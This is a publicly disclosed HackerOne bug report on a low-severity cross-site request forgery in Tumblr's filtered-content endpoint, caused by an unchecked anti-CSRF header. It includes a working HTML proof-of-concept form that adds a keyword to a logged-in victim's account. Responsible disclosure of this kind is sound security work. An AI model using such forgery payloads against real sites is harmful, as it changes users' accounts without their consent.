Automattic · Report #1010806

[tumblr.com] CSRF in /svc/user/filtered_content

Validstatus

lowseverity

20upvotes

26 Dec 2020disclosed

How it was found

Summary:

Hello, I have found a Cross-site request forgery in ``https://tumblr.com/svc/user/filtered_content``` allow an attacker to add filtered content to a target/victim account.

The custom HTTP Header X-tumblr-form-key used for the protection CSRF is not validate.

Steps To Reproduce:

Logging into your Tumblr account in your current navigator .
Open the poc.html or manually copy this following code in an html file and open this in your current navigator and click to Submit request.


<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="https://www.tumblr.com/svc/user/filtered_content" method="POST">

      <input type="hidden" name="filtered&#95;content" value="pwd777" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

Go to https://www.tumblr.com/settings/account and you will see the keyword pwd777 in your filtered content .

/!\ You can't add a same filtered content this will generate a 400 HTTP Response code /!\

You can follow me in the video POC.

Thanks, good bye.

Impact

Allow a attacker add filtered content to a target/victim account.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original